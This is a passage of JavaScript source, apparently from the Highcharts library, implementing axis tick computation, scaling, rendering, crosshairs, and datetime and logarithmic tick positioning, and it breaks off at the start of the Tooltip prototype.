(axis.max - axis.min) * tickPixelIntervalOption / mathMax(axis.len, tickPixelIntervalOption)
);
// For squished axes, set only two ticks
if (!defined(tickIntervalOption) && axis.len < tickPixelIntervalOption && !this.isRadial &&
!this.isLog && !categories && options.startOnTick && options.endOnTick) {
keepTwoTicksOnly = true;
axis.tickInterval /= 4; // tick extremes closer to the real values
}
}
// Now we're finished detecting min and max, crop and group series data. This
// is in turn needed in order to find tick positions in ordinal axes.
if (isXAxis && !secondPass) {
each(axis.series, function (series) {
series.processData(axis.min !== axis.oldMin || axis.max !== axis.oldMax);
});
}
// set the translation factor used in translate function
axis.setAxisTranslation(true);
// hook for ordinal axes and radial axes
if (axis.beforeSetTickPositions) {
axis.beforeSetTickPositions();
}
// hook for extensions, used in Highstock ordinal axes
if (axis.postProcessTickInterval) {
axis.tickInterval = axis.postProcessTickInterval(axis.tickInterval);
}
// In column-like charts, don't cramp in more ticks than there are points (#1943)
if (axis.pointRange) {
axis.tickInterval = mathMax(axis.pointRange, axis.tickInterval);
}
// Before normalizing the tick interval, handle minimum tick interval. This applies only if tickInterval is not defined.
if (!tickIntervalOption && axis.tickInterval < minTickIntervalOption) {
axis.tickInterval = minTickIntervalOption;
}
// for linear axes, get magnitude and normalize the interval
if (!isDatetimeAxis && !isLog) { // linear
if (!tickIntervalOption) {
axis.tickInterval = normalizeTickInterval(axis.tickInterval, null, getMagnitude(axis.tickInterval), options);
}
}
// get minorTickInterval
axis.minorTickInterval = options.minorTickInterval === 'auto' && axis.tickInterval ?
axis.tickInterval / 5 : options.minorTickInterval;
// find the tick positions
axis.tickPositions = tickPositions = options.tickPositions ?
[].concat(options.tickPositions) : // Work on a copy (#1565)
(tickPositioner && tickPositioner.apply(axis, [axis.min, axis.max]));
if (!tickPositions) {
// Too many ticks
if (!axis.ordinalPositions && (axis.max - axis.min) / axis.tickInterval > mathMax(2 * axis.len, 200)) {
error(19, true);
}
if (isDatetimeAxis) {
tickPositions = axis.getTimeTicks(
axis.normalizeTimeTickInterval(axis.tickInterval, options.units),
axis.min,
axis.max,
options.startOfWeek,
axis.ordinalPositions,
axis.closestPointRange,
true
);
} else if (isLog) {
tickPositions = axis.getLogTickPositions(axis.tickInterval, axis.min, axis.max);
} else {
tickPositions = axis.getLinearTickPositions(axis.tickInterval, axis.min, axis.max);
}
if (keepTwoTicksOnly) {
tickPositions.splice(1, tickPositions.length - 2);
}
axis.tickPositions = tickPositions;
}
if (!isLinked) {
// reset min/max or remove extremes based on start/end on tick
var roundedMin = tickPositions[0],
roundedMax = tickPositions[tickPositions.length - 1],
minPointOffset = axis.minPointOffset || 0,
singlePad;
if (options.startOnTick) {
axis.min = roundedMin;
} else if (axis.min - minPointOffset > roundedMin) {
tickPositions.shift();
}
if (options.endOnTick) {
axis.max = roundedMax;
} else if (axis.max + minPointOffset < roundedMax) {
tickPositions.pop();
}
// When there is only one point, or all points have the same value on this axis, then min
// and max are equal and tickPositions.length is 1. In this case, add some padding
// in order to center the point, but leave it with one tick. #1337.
if (tickPositions.length === 1) {
singlePad = mathAbs(axis.max || 1) * 0.001; // The lowest possible number to avoid extra padding on columns (#2619)
axis.min -= singlePad;
axis.max += singlePad;
}
}
},
/**
* Set the max ticks of either the x and y axis collection
*/
setMaxTicks: function () {
var chart = this.chart,
maxTicks = chart.maxTicks || {},
tickPositions = this.tickPositions,
key = this._maxTicksKey = [this.coll, this.pos, this.len].join('-');
if (!this.isLinked && !this.isDatetimeAxis && tickPositions && tickPositions.length > (maxTicks[key] || 0) && this.options.alignTicks !== false) {
maxTicks[key] = tickPositions.length;
}
chart.maxTicks = maxTicks;
},
/**
* When using multiple axes, adjust the number of ticks to match the highest
* number of ticks in that group
*/
adjustTickAmount: function () {
var axis = this,
chart = axis.chart,
key = axis._maxTicksKey,
tickPositions = axis.tickPositions,
maxTicks = chart.maxTicks;
if (maxTicks && maxTicks[key] && !axis.isDatetimeAxis && !axis.categories && !axis.isLinked &&
axis.options.alignTicks !== false && this.min !== UNDEFINED) {
var oldTickAmount = axis.tickAmount,
calculatedTickAmount = tickPositions.length,
tickAmount;
// set the axis-level tickAmount to use below
axis.tickAmount = tickAmount = maxTicks[key];
if (calculatedTickAmount < tickAmount) {
while (tickPositions.length < tickAmount) {
tickPositions.push(correctFloat(
tickPositions[tickPositions.length - 1] + axis.tickInterval
));
}
axis.transA *= (calculatedTickAmount - 1) / (tickAmount - 1);
axis.max = tickPositions[tickPositions.length - 1];
}
if (defined(oldTickAmount) && tickAmount !== oldTickAmount) {
axis.isDirty = true;
}
}
},
/**
* Set the scale based on data min and max, user set min and max or options
*
*/
setScale: function () {
var axis = this,
stacks = axis.stacks,
type,
i,
isDirtyData,
isDirtyAxisLength;
axis.oldMin = axis.min;
axis.oldMax = axis.max;
axis.oldAxisLength = axis.len;
// set the new axisLength
axis.setAxisSize();
//axisLength = horiz ? axisWidth : axisHeight;
isDirtyAxisLength = axis.len !== axis.oldAxisLength;
// is there new data?
each(axis.series, function (series) {
if (series.isDirtyData || series.isDirty ||
series.xAxis.isDirty) { // when x axis is dirty, we need new data extremes for y as well
isDirtyData = true;
}
});
// do we really need to go through all this?
if (isDirtyAxisLength || isDirtyData || axis.isLinked || axis.forceRedraw ||
axis.userMin !== axis.oldUserMin || axis.userMax !== axis.oldUserMax) {
// reset stacks
if (!axis.isXAxis) {
for (type in stacks) {
for (i in stacks[type]) {
stacks[type][i].total = null;
stacks[type][i].cum = 0;
}
}
}
axis.forceRedraw = false;
// get data extremes if needed
axis.getSeriesExtremes();
// get fixed positions based on tickInterval
axis.setTickPositions();
// record old values to decide whether a rescale is necessary later on (#540)
axis.oldUserMin = axis.userMin;
axis.oldUserMax = axis.userMax;
// Mark as dirty if it is not already set to dirty and extremes have changed. #595.
if (!axis.isDirty) {
axis.isDirty = isDirtyAxisLength || axis.min !== axis.oldMin || axis.max !== axis.oldMax;
}
} else if (!axis.isXAxis) {
if (axis.oldStacks) {
stacks = axis.stacks = axis.oldStacks;
}
// reset stacks
for (type in stacks) {
for (i in stacks[type]) {
stacks[type][i].cum = stacks[type][i].total;
}
}
}
// Set the maximum tick amount
axis.setMaxTicks();
},
/**
* Set the extremes and optionally redraw
* @param {Number} newMin
* @param {Number} newMax
* @param {Boolean} redraw
* @param {Boolean|Object} animation Whether to apply animation, and optionally animation
* configuration
* @param {Object} eventArguments
*
*/
setExtremes: function (newMin, newMax, redraw, animation, eventArguments) {
var axis = this,
chart = axis.chart;
redraw = pick(redraw, true); // defaults to true
// Extend the arguments with min and max
eventArguments = extend(eventArguments, {
min: newMin,
max: newMax
});
// Fire the event
fireEvent(axis, 'setExtremes', eventArguments, function () { // the default event handler
axis.userMin = newMin;
axis.userMax = newMax;
axis.eventArgs = eventArguments;
// Mark for running afterSetExtremes
axis.isDirtyExtremes = true;
// redraw
if (redraw) {
chart.redraw(animation);
}
});
},
/**
* Overridable method for zooming chart. Pulled out in a separate method to allow overriding
* in stock charts.
*/
zoom: function (newMin, newMax) {
var dataMin = this.dataMin,
dataMax = this.dataMax,
options = this.options;
// Prevent pinch zooming out of range. Check for defined is for #1946. #1734.
if (!this.allowZoomOutside) {
if (defined(dataMin) && newMin <= mathMin(dataMin, pick(options.min, dataMin))) {
newMin = UNDEFINED;
}
if (defined(dataMax) && newMax >= mathMax(dataMax, pick(options.max, dataMax))) {
newMax = UNDEFINED;
}
}
// In full view, displaying the reset zoom button is not required
this.displayBtn = newMin !== UNDEFINED || newMax !== UNDEFINED;
// Do it
this.setExtremes(
newMin,
newMax,
false,
UNDEFINED,
{ trigger: 'zoom' }
);
return true;
},
/**
* Update the axis metrics
*/
setAxisSize: function () {
var chart = this.chart,
options = this.options,
offsetLeft = options.offsetLeft || 0,
offsetRight = options.offsetRight || 0,
horiz = this.horiz,
width,
height,
top,
left;
// Expose basic values to use in Series object and navigator
this.left = left = pick(options.left, chart.plotLeft + offsetLeft);
this.top = top = pick(options.top, chart.plotTop);
this.width = width = pick(options.width, chart.plotWidth - offsetLeft + offsetRight);
this.height = height = pick(options.height, chart.plotHeight);
this.bottom = chart.chartHeight - height - top;
this.right = chart.chartWidth - width - left;
// Direction agnostic properties
this.len = mathMax(horiz ? width : height, 0); // mathMax fixes #905
this.pos = horiz ? left : top; // distance from SVG origin
},
/**
* Get the actual axis extremes
*/
getExtremes: function () {
var axis = this,
isLog = axis.isLog;
return {
min: isLog ? correctFloat(lin2log(axis.min)) : axis.min,
max: isLog ? correctFloat(lin2log(axis.max)) : axis.max,
dataMin: axis.dataMin,
dataMax: axis.dataMax,
userMin: axis.userMin,
userMax: axis.userMax
};
},
/**
* Get the zero plane either based on zero or on the min or max value.
* Used in bar and area plots
*/
getThreshold: function (threshold) {
var axis = this,
isLog = axis.isLog;
var realMin = isLog ? lin2log(axis.min) : axis.min,
realMax = isLog ? lin2log(axis.max) : axis.max;
if (realMin > threshold || threshold === null) {
threshold = realMin;
} else if (realMax < threshold) {
threshold = realMax;
}
return axis.translate(threshold, 0, 1, 0, 1);
},
/**
* Compute auto alignment for the axis label based on which side the axis is on
* and the given rotation for the label
*/
autoLabelAlign: function (rotation) {
var ret,
angle = (pick(rotation, 0) - (this.side * 90) + 720) % 360;
if (angle > 15 && angle < 165) {
ret = 'right';
} else if (angle > 195 && angle < 345) {
ret = 'left';
} else {
ret = 'center';
}
return ret;
},
/**
* Render the tick labels to a preliminary position to get their sizes
*/
getOffset: function () {
var axis = this,
chart = axis.chart,
renderer = chart.renderer,
options = axis.options,
tickPositions = axis.tickPositions,
ticks = axis.ticks,
horiz = axis.horiz,
side = axis.side,
invertedSide = chart.inverted ? [1, 0, 3, 2][side] : side,
hasData,
showAxis,
titleOffset = 0,
titleOffsetOption,
titleMargin = 0,
axisTitleOptions = options.title,
labelOptions = options.labels,
labelOffset = 0, // reset
axisOffset = chart.axisOffset,
clipOffset = chart.clipOffset,
directionFactor = [-1, 1, 1, -1][side],
n,
i,
autoStaggerLines = 1,
maxStaggerLines = pick(labelOptions.maxStaggerLines, 5),
sortedPositions,
lastRight,
overlap,
pos,
bBox,
x,
w,
lineNo;
// For reuse in Axis.render
axis.hasData = hasData = (axis.hasVisibleSeries || (defined(axis.min) && defined(axis.max) && !!tickPositions));
axis.showAxis = showAxis = hasData || pick(options.showEmpty, true);
// Set/reset staggerLines
axis.staggerLines = axis.horiz && labelOptions.staggerLines;
// Create the axisGroup and gridGroup elements on first iteration
if (!axis.axisGroup) {
axis.gridGroup = renderer.g('grid')
.attr({ zIndex: options.gridZIndex || 1 })
.add();
axis.axisGroup = renderer.g('axis')
.attr({ zIndex: options.zIndex || 2 })
.add();
axis.labelGroup = renderer.g('axis-labels')
.attr({ zIndex: labelOptions.zIndex || 7 })
.addClass(PREFIX + axis.coll.toLowerCase() + '-labels')
.add();
}
if (hasData || axis.isLinked) {
// Set the explicit or automatic label alignment
axis.labelAlign = pick(labelOptions.align || axis.autoLabelAlign(labelOptions.rotation));
// Generate ticks
each(tickPositions, function (pos) {
if (!ticks[pos]) {
ticks[pos] = new Tick(axis, pos);
} else {
ticks[pos].addLabel(); // update labels depending on tick interval
}
});
// Handle automatic stagger lines
if (axis.horiz && !axis.staggerLines && maxStaggerLines && !labelOptions.rotation) {
sortedPositions = axis.reversed ? [].concat(tickPositions).reverse() : tickPositions;
while (autoStaggerLines < maxStaggerLines) {
lastRight = [];
overlap = false;
for (i = 0; i < sortedPositions.length; i++) {
pos = sortedPositions[i];
bBox = ticks[pos].label && ticks[pos].label.getBBox();
w = bBox ? bBox.width : 0;
lineNo = i % autoStaggerLines;
if (w) {
x = axis.translate(pos); // don't handle log
if (lastRight[lineNo] !== UNDEFINED && x < lastRight[lineNo]) {
overlap = true;
}
lastRight[lineNo] = x + w;
}
}
if (overlap) {
autoStaggerLines++;
} else {
break;
}
}
if (autoStaggerLines > 1) {
axis.staggerLines = autoStaggerLines;
}
}
each(tickPositions, function (pos) {
// left side must be align: right and right side must have align: left for labels
if (side === 0 || side === 2 || { 1: 'left', 3: 'right' }[side] === axis.labelAlign) {
// get the highest offset
labelOffset = mathMax(
ticks[pos].getLabelSize(),
labelOffset
);
}
});
if (axis.staggerLines) {
labelOffset *= axis.staggerLines;
axis.labelOffset = labelOffset;
}
} else { // doesn't have data
for (n in ticks) {
ticks[n].destroy();
delete ticks[n];
}
}
if (axisTitleOptions && axisTitleOptions.text && axisTitleOptions.enabled !== false) {
if (!axis.axisTitle) {
axis.axisTitle = renderer.text(
axisTitleOptions.text,
0,
0,
axisTitleOptions.useHTML
)
.attr({
zIndex: 7,
rotation: axisTitleOptions.rotation || 0,
align:
axisTitleOptions.textAlign ||
{ low: 'left', middle: 'center', high: 'right' }[axisTitleOptions.align]
})
.addClass(PREFIX + this.coll.toLowerCase() + '-title')
.css(axisTitleOptions.style)
.add(axis.axisGroup);
axis.axisTitle.isNew = true;
}
if (showAxis) {
titleOffset = axis.axisTitle.getBBox()[horiz ? 'height' : 'width'];
titleMargin = pick(axisTitleOptions.margin, horiz ? 5 : 10);
titleOffsetOption = axisTitleOptions.offset;
}
// hide or show the title depending on whether showEmpty is set
axis.axisTitle[showAxis ? 'show' : 'hide']();
}
// handle automatic or user set offset
axis.offset = directionFactor * pick(options.offset, axisOffset[side]);
axis.axisTitleMargin =
pick(titleOffsetOption,
labelOffset + titleMargin +
(side !== 2 && labelOffset && directionFactor * options.labels[horiz ? 'y' : 'x'])
);
axisOffset[side] = mathMax(
axisOffset[side],
axis.axisTitleMargin + titleOffset + directionFactor * axis.offset
);
clipOffset[invertedSide] = mathMax(clipOffset[invertedSide], mathFloor(options.lineWidth / 2) * 2);
},
/**
* Get the path for the axis line
*/
getLinePath: function (lineWidth) {
var chart = this.chart,
opposite = this.opposite,
offset = this.offset,
horiz = this.horiz,
lineLeft = this.left + (opposite ? this.width : 0) + offset,
lineTop = chart.chartHeight - this.bottom - (opposite ? this.height : 0) + offset;
if (opposite) {
lineWidth *= -1; // crispify the other way - #1480, #1687
}
return chart.renderer.crispLine([
M,
horiz ?
this.left :
lineLeft,
horiz ?
lineTop :
this.top,
L,
horiz ?
chart.chartWidth - this.right :
lineLeft,
horiz ?
lineTop :
chart.chartHeight - this.bottom
], lineWidth);
},
/**
* Position the title
*/
getTitlePosition: function () {
// compute anchor points for each of the title align options
var horiz = this.horiz,
axisLeft = this.left,
axisTop = this.top,
axisLength = this.len,
axisTitleOptions = this.options.title,
margin = horiz ? axisLeft : axisTop,
opposite = this.opposite,
offset = this.offset,
fontSize = pInt(axisTitleOptions.style.fontSize || 12),
// the position in the length direction of the axis
alongAxis = {
low: margin + (horiz ? 0 : axisLength),
middle: margin + axisLength / 2,
high: margin + (horiz ? axisLength : 0)
}[axisTitleOptions.align],
// the position in the perpendicular direction of the axis
offAxis = (horiz ? axisTop + this.height : axisLeft) +
(horiz ? 1 : -1) * // horizontal axis reverses the margin
(opposite ? -1 : 1) * // so does opposite axes
this.axisTitleMargin +
(this.side === 2 ? fontSize : 0);
return {
x: horiz ?
alongAxis :
offAxis + (opposite ? this.width : 0) + offset +
(axisTitleOptions.x || 0), // x
y: horiz ?
offAxis - (opposite ? this.height : 0) + offset :
alongAxis + (axisTitleOptions.y || 0) // y
};
},
/**
* Render the axis
*/
render: function () {
var axis = this,
horiz = axis.horiz,
reversed = axis.reversed,
chart = axis.chart,
renderer = chart.renderer,
options = axis.options,
isLog = axis.isLog,
isLinked = axis.isLinked,
tickPositions = axis.tickPositions,
sortedPositions,
axisTitle = axis.axisTitle,
ticks = axis.ticks,
minorTicks = axis.minorTicks,
alternateBands = axis.alternateBands,
stackLabelOptions = options.stackLabels,
alternateGridColor = options.alternateGridColor,
tickmarkOffset = axis.tickmarkOffset,
lineWidth = options.lineWidth,
linePath,
hasRendered = chart.hasRendered,
slideInTicks = hasRendered && defined(axis.oldMin) && !isNaN(axis.oldMin),
hasData = axis.hasData,
showAxis = axis.showAxis,
from,
overflow = options.labels.overflow,
justifyLabels = axis.justifyLabels = horiz && overflow !== false,
to;
// Reset
axis.labelEdge.length = 0;
axis.justifyToPlot = overflow === 'justify';
// Mark all elements inActive before we go over and mark the active ones
each([ticks, minorTicks, alternateBands], function (coll) {
var pos;
for (pos in coll) {
coll[pos].isActive = false;
}
});
// If the series has data draw the ticks. Else only the line and title
if (hasData || isLinked) {
// minor ticks
if (axis.minorTickInterval && !axis.categories) {
each(axis.getMinorTickPositions(), function (pos) {
if (!minorTicks[pos]) {
minorTicks[pos] = new Tick(axis, pos, 'minor');
}
// render new ticks in old position
if (slideInTicks && minorTicks[pos].isNew) {
minorTicks[pos].render(null, true);
}
minorTicks[pos].render(null, false, 1);
});
}
// Major ticks. Pull out the first item and render it last so that
// we can get the position of the neighbour label. #808.
if (tickPositions.length) { // #1300
sortedPositions = tickPositions.slice();
if ((horiz && reversed) || (!horiz && !reversed)) {
sortedPositions.reverse();
}
if (justifyLabels) {
sortedPositions = sortedPositions.slice(1).concat([sortedPositions[0]]);
}
each(sortedPositions, function (pos, i) {
// Reorganize the indices
if (justifyLabels) {
i = (i === sortedPositions.length - 1) ? 0 : i + 1;
}
// linked axes need an extra check to find out if
if (!isLinked || (pos >= axis.min && pos <= axis.max)) {
if (!ticks[pos]) {
ticks[pos] = new Tick(axis, pos);
}
// render new ticks in old position
if (slideInTicks && ticks[pos].isNew) {
ticks[pos].render(i, true, 0.1);
}
ticks[pos].render(i, false, 1);
}
});
// In a categorized axis, the tick marks are displayed between labels. So
// we need to add a tick mark and grid line at the left edge of the X axis.
if (tickmarkOffset && axis.min === 0) {
if (!ticks[-1]) {
ticks[-1] = new Tick(axis, -1, null, true);
}
ticks[-1].render(-1);
}
}
// alternate grid color
if (alternateGridColor) {
each(tickPositions, function (pos, i) {
if (i % 2 === 0 && pos < axis.max) {
if (!alternateBands[pos]) {
alternateBands[pos] = new Highcharts.PlotLineOrBand(axis);
}
from = pos + tickmarkOffset; // #949
to = tickPositions[i + 1] !== UNDEFINED ? tickPositions[i + 1] + tickmarkOffset : axis.max;
alternateBands[pos].options = {
from: isLog ? lin2log(from) : from,
to: isLog ? lin2log(to) : to,
color: alternateGridColor
};
alternateBands[pos].render();
alternateBands[pos].isActive = true;
}
});
}
// custom plot lines and bands
if (!axis._addedPlotLB) { // only first time
each((options.plotLines || []).concat(options.plotBands || []), function (plotLineOptions) {
axis.addPlotBandOrLine(plotLineOptions);
});
axis._addedPlotLB = true;
}
} // end if hasData
// Remove inactive ticks
each([ticks, minorTicks, alternateBands], function (coll) {
var pos,
i,
forDestruction = [],
delay = globalAnimation ? globalAnimation.duration || 500 : 0,
destroyInactiveItems = function () {
i = forDestruction.length;
while (i--) {
// When resizing rapidly, the same items may be destroyed in different timeouts,
// or the may be reactivated
if (coll[forDestruction[i]] && !coll[forDestruction[i]].isActive) {
coll[forDestruction[i]].destroy();
delete coll[forDestruction[i]];
}
}
};
for (pos in coll) {
if (!coll[pos].isActive) {
// Render to zero opacity
coll[pos].render(pos, false, 0);
coll[pos].isActive = false;
forDestruction.push(pos);
}
}
// When the objects are finished fading out, destroy them
if (coll === alternateBands || !chart.hasRendered || !delay) {
destroyInactiveItems();
} else if (delay) {
setTimeout(destroyInactiveItems, delay);
}
});
// Static items. As the axis group is cleared on subsequent calls
// to render, these items are added outside the group.
// axis line
if (lineWidth) {
linePath = axis.getLinePath(lineWidth);
if (!axis.axisLine) {
axis.axisLine = renderer.path(linePath)
.attr({
stroke: options.lineColor,
'stroke-width': lineWidth,
zIndex: 7
})
.add(axis.axisGroup);
} else {
axis.axisLine.animate({ d: linePath });
}
// show or hide the line depending on options.showEmpty
axis.axisLine[showAxis ? 'show' : 'hide']();
}
if (axisTitle && showAxis) {
axisTitle[axisTitle.isNew ? 'attr' : 'animate'](
axis.getTitlePosition()
);
axisTitle.isNew = false;
}
// Stacked totals:
if (stackLabelOptions && stackLabelOptions.enabled) {
axis.renderStackTotals();
}
// End stacked totals
axis.isDirty = false;
},
/**
* Redraw the axis to reflect changes in the data or axis extremes
*/
redraw: function () {
var axis = this,
chart = axis.chart,
pointer = chart.pointer;
// hide tooltip and hover states
if (pointer) {
pointer.reset(true);
}
// render the axis
axis.render();
// move plot lines and bands
each(axis.plotLinesAndBands, function (plotLine) {
plotLine.render();
});
// mark associated series as dirty and ready for redraw
each(axis.series, function (series) {
series.isDirty = true;
});
},
/**
* Destroys an Axis instance.
*/
destroy: function (keepEvents) {
var axis = this,
stacks = axis.stacks,
stackKey,
plotLinesAndBands = axis.plotLinesAndBands,
i;
// Remove the events
if (!keepEvents) {
removeEvent(axis);
}
// Destroy each stack total
for (stackKey in stacks) {
destroyObjectProperties(stacks[stackKey]);
stacks[stackKey] = null;
}
// Destroy collections
each([axis.ticks, axis.minorTicks, axis.alternateBands], function (coll) {
destroyObjectProperties(coll);
});
i = plotLinesAndBands.length;
while (i--) { // #1975
plotLinesAndBands[i].destroy();
}
// Destroy local variables
each(['stackTotalGroup', 'axisLine', 'axisTitle', 'axisGroup', 'cross', 'gridGroup', 'labelGroup'], function (prop) {
if (axis[prop]) {
axis[prop] = axis[prop].destroy();
}
});
// Destroy crosshair
if (this.cross) {
this.cross.destroy();
}
},
/**
* Draw the crosshair
*/
drawCrosshair: function (e, point) {
if (!this.crosshair) { return; }// Do not draw crosshairs if you don't have too.
if ((defined(point) || !pick(this.crosshair.snap, true)) === false) {
this.hideCrosshair();
return;
}
var path,
options = this.crosshair,
animation = options.animation,
pos;
// Get the path
if (!pick(options.snap, true)) {
pos = (this.horiz ? e.chartX - this.pos : this.len - e.chartY + this.pos);
} else if (defined(point)) {
/*jslint eqeq: true*/
pos = (this.chart.inverted != this.horiz) ? point.plotX : this.len - point.plotY;
/*jslint eqeq: false*/
}
if (this.isRadial) {
path = this.getPlotLinePath(this.isXAxis ? point.x : pick(point.stackY, point.y));
} else {
path = this.getPlotLinePath(null, null, null, null, pos);
}
if (path === null) {
this.hideCrosshair();
return;
}
// Draw the cross
if (this.cross) {
this.cross
.attr({ visibility: VISIBLE })[animation ? 'animate' : 'attr']({ d: path }, animation);
} else {
var attribs = {
'stroke-width': options.width || 1,
stroke: options.color || '#C0C0C0',
zIndex: options.zIndex || 2
};
if (options.dashStyle) {
attribs.dashstyle = options.dashStyle;
}
this.cross = this.chart.renderer.path(path).attr(attribs).add();
}
},
/**
* Hide the crosshair.
*/
hideCrosshair: function () {
if (this.cross) {
this.cross.hide();
}
}
}; // end Axis
extend(Axis.prototype, AxisPlotLineOrBandExtension);
/**
* Set the tick positions to a time unit that makes sense, for example
* on the first of each month or on every Monday. Return an array
* with the time positions. Used in datetime axes as well as for grouping
* data on a datetime axis.
*
* @param {Object} normalizedInterval The interval in axis values (ms) and the count
* @param {Number} min The minimum in axis values
* @param {Number} max The maximum in axis values
* @param {Number} startOfWeek
*/
Axis.prototype.getTimeTicks = function (normalizedInterval, min, max, startOfWeek) {
var tickPositions = [],
i,
higherRanks = {},
useUTC = defaultOptions.global.useUTC,
minYear, // used in months and years as a basis for Date.UTC()
minDate = new Date(min - timezoneOffset),
interval = normalizedInterval.unitRange,
count = normalizedInterval.count;
if (defined(min)) { // #1300
if (interval >= timeUnits[SECOND]) { // second
minDate.setMilliseconds(0);
minDate.setSeconds(interval >= timeUnits[MINUTE] ? 0 :
count * mathFloor(minDate.getSeconds() / count));
}
if (interval >= timeUnits[MINUTE]) { // minute
minDate[setMinutes](interval >= timeUnits[HOUR] ? 0 :
count * mathFloor(minDate[getMinutes]() / count));
}
if (interval >= timeUnits[HOUR]) { // hour
minDate[setHours](interval >= timeUnits[DAY] ? 0 :
count * mathFloor(minDate[getHours]() / count));
}
if (interval >= timeUnits[DAY]) { // day
minDate[setDate](interval >= timeUnits[MONTH] ? 1 :
count * mathFloor(minDate[getDate]() / count));
}
if (interval >= timeUnits[MONTH]) { // month
minDate[setMonth](interval >= timeUnits[YEAR] ? 0 :
count * mathFloor(minDate[getMonth]() / count));
minYear = minDate[getFullYear]();
}
if (interval >= timeUnits[YEAR]) { // year
minYear -= minYear % count;
minDate[setFullYear](minYear);
}
// week is a special case that runs outside the hierarchy
if (interval === timeUnits[WEEK]) {
// get start of current week, independent of count
minDate[setDate](minDate[getDate]() - minDate[getDay]() +
pick(startOfWeek, 1));
}
// get tick positions
i = 1;
if (timezoneOffset) {
minDate = new Date(minDate.getTime() + timezoneOffset);
}
minYear = minDate[getFullYear]();
var time = minDate.getTime(),
minMonth = minDate[getMonth](),
minDateDate = minDate[getDate](),
localTimezoneOffset = useUTC ?
timezoneOffset :
(24 * 3600 * 1000 + minDate.getTimezoneOffset() * 60 * 1000) % (24 * 3600 * 1000); // #950
// iterate and add tick positions at appropriate values
while (time < max) {
tickPositions.push(time);
// if the interval is years, use Date.UTC to increase years
if (interval === timeUnits[YEAR]) {
time = makeTime(minYear + i * count, 0);
// if the interval is months, use Date.UTC to increase months
} else if (interval === timeUnits[MONTH]) {
time = makeTime(minYear, minMonth + i * count);
// if we're using global time, the interval is not fixed as it jumps
// one hour at the DST crossover
} else if (!useUTC && (interval === timeUnits[DAY] || interval === timeUnits[WEEK])) {
time = makeTime(minYear, minMonth, minDateDate +
i * count * (interval === timeUnits[DAY] ? 1 : 7));
// else, the interval is fixed and we use simple addition
} else {
time += interval * count;
}
i++;
}
// push the last time
tickPositions.push(time);
// mark new days if the time is dividible by day (#1649, #1760)
each(grep(tickPositions, function (time) {
return interval <= timeUnits[HOUR] && time % timeUnits[DAY] === localTimezoneOffset;
}), function (time) {
higherRanks[time] = DAY;
});
}
// record information on the chosen unit - for dynamic label formatter
tickPositions.info = extend(normalizedInterval, {
higherRanks: higherRanks,
totalRange: interval * count
});
return tickPositions;
};
/**
* Get a normalized tick interval for dates. Returns a configuration object with
* unit range (interval), count and name. Used to prepare data for getTimeTicks.
* Previously this logic was part of getTimeTicks, but as getTimeTicks now runs
* of segments in stock charts, the normalizing logic was extracted in order to
* prevent it for running over again for each segment having the same interval.
* #662, #697.
*/
Axis.prototype.normalizeTimeTickInterval = function (tickInterval, unitsOption) {
var units = unitsOption || [[
MILLISECOND, // unit name
[1, 2, 5, 10, 20, 25, 50, 100, 200, 500] // allowed multiples
], [
SECOND,
[1, 2, 5, 10, 15, 30]
], [
MINUTE,
[1, 2, 5, 10, 15, 30]
], [
HOUR,
[1, 2, 3, 4, 6, 8, 12]
], [
DAY,
[1, 2]
], [
WEEK,
[1, 2]
], [
MONTH,
[1, 2, 3, 4, 6]
], [
YEAR,
null
]],
unit = units[units.length - 1], // default unit is years
interval = timeUnits[unit[0]],
multiples = unit[1],
count,
i;
// loop through the units to find the one that best fits the tickInterval
for (i = 0; i < units.length; i++) {
unit = units[i];
interval = timeUnits[unit[0]];
multiples = unit[1];
if (units[i + 1]) {
// lessThan is in the middle between the highest multiple and the next unit.
var lessThan = (interval * multiples[multiples.length - 1] +
timeUnits[units[i + 1][0]]) / 2;
// break and keep the current unit
if (tickInterval <= lessThan) {
break;
}
}
}
// prevent 2.5 years intervals, though 25, 250 etc. are allowed
if (interval === timeUnits[YEAR] && tickInterval < 5 * interval) {
multiples = [1, 2, 5];
}
// get the count
count = normalizeTickInterval(
tickInterval / interval,
multiples,
unit[0] === YEAR ? mathMax(getMagnitude(tickInterval / interval), 1) : 1 // #1913, #2360
);
return {
unitRange: interval,
count: count,
unitName: unit[0]
};
};/**
* Methods defined on the Axis prototype
*/
/**
* Set the tick positions of a logarithmic axis
*/
Axis.prototype.getLogTickPositions = function (interval, min, max, minor) {
var axis = this,
options = axis.options,
axisLength = axis.len,
// Since we use this method for both major and minor ticks,
// use a local variable and return the result
positions = [];
// Reset
if (!minor) {
axis._minorAutoInterval = null;
}
// First case: All ticks fall on whole logarithms: 1, 10, 100 etc.
if (interval >= 0.5) {
interval = mathRound(interval);
positions = axis.getLinearTickPositions(interval, min, max);
// Second case: We need intermediary ticks. For example
// 1, 2, 4, 6, 8, 10, 20, 40 etc.
} else if (interval >= 0.08) {
var roundedMin = mathFloor(min),
intermediate,
i,
j,
len,
pos,
lastPos,
break2;
if (interval > 0.3) {
intermediate = [1, 2, 4];
} else if (interval > 0.15) { // 0.2 equals five minor ticks per 1, 10, 100 etc
intermediate = [1, 2, 4, 6, 8];
} else { // 0.1 equals ten minor ticks per 1, 10, 100 etc
intermediate = [1, 2, 3, 4, 5, 6, 7, 8, 9];
}
for (i = roundedMin; i < max + 1 && !break2; i++) {
len = intermediate.length;
for (j = 0; j < len && !break2; j++) {
pos = log2lin(lin2log(i) * intermediate[j]);
if (pos > min && (!minor || lastPos <= max)) { // #1670
positions.push(lastPos);
}
if (lastPos > max) {
break2 = true;
}
lastPos = pos;
}
}
// Third case: We are so deep in between whole logarithmic values that
// we might as well handle the tick positions like a linear axis. For
// example 1.01, 1.02, 1.03, 1.04.
} else {
var realMin = lin2log(min),
realMax = lin2log(max),
tickIntervalOption = options[minor ? 'minorTickInterval' : 'tickInterval'],
filteredTickIntervalOption = tickIntervalOption === 'auto' ? null : tickIntervalOption,
tickPixelIntervalOption = options.tickPixelInterval / (minor ? 5 : 1),
totalPixelLength = minor ? axisLength / axis.tickPositions.length : axisLength;
interval = pick(
filteredTickIntervalOption,
axis._minorAutoInterval,
(realMax - realMin) * tickPixelIntervalOption / (totalPixelLength || 1)
);
interval = normalizeTickInterval(
interval,
null,
getMagnitude(interval)
);
positions = map(axis.getLinearTickPositions(
interval,
realMin,
realMax
), log2lin);
if (!minor) {
axis._minorAutoInterval = interval / 5;
}
}
// Set the axis-level tickInterval variable
if (!minor) {
axis.tickInterval = interval;
}
return positions;
};/**
* The tooltip object
* @param {Object} chart The chart instance
* @param {Object} options Tooltip options
*/
var Tooltip = Highcharts.Tooltip = function () {
this.init.apply(this, arguments);
};
Tooltip.prototype = {
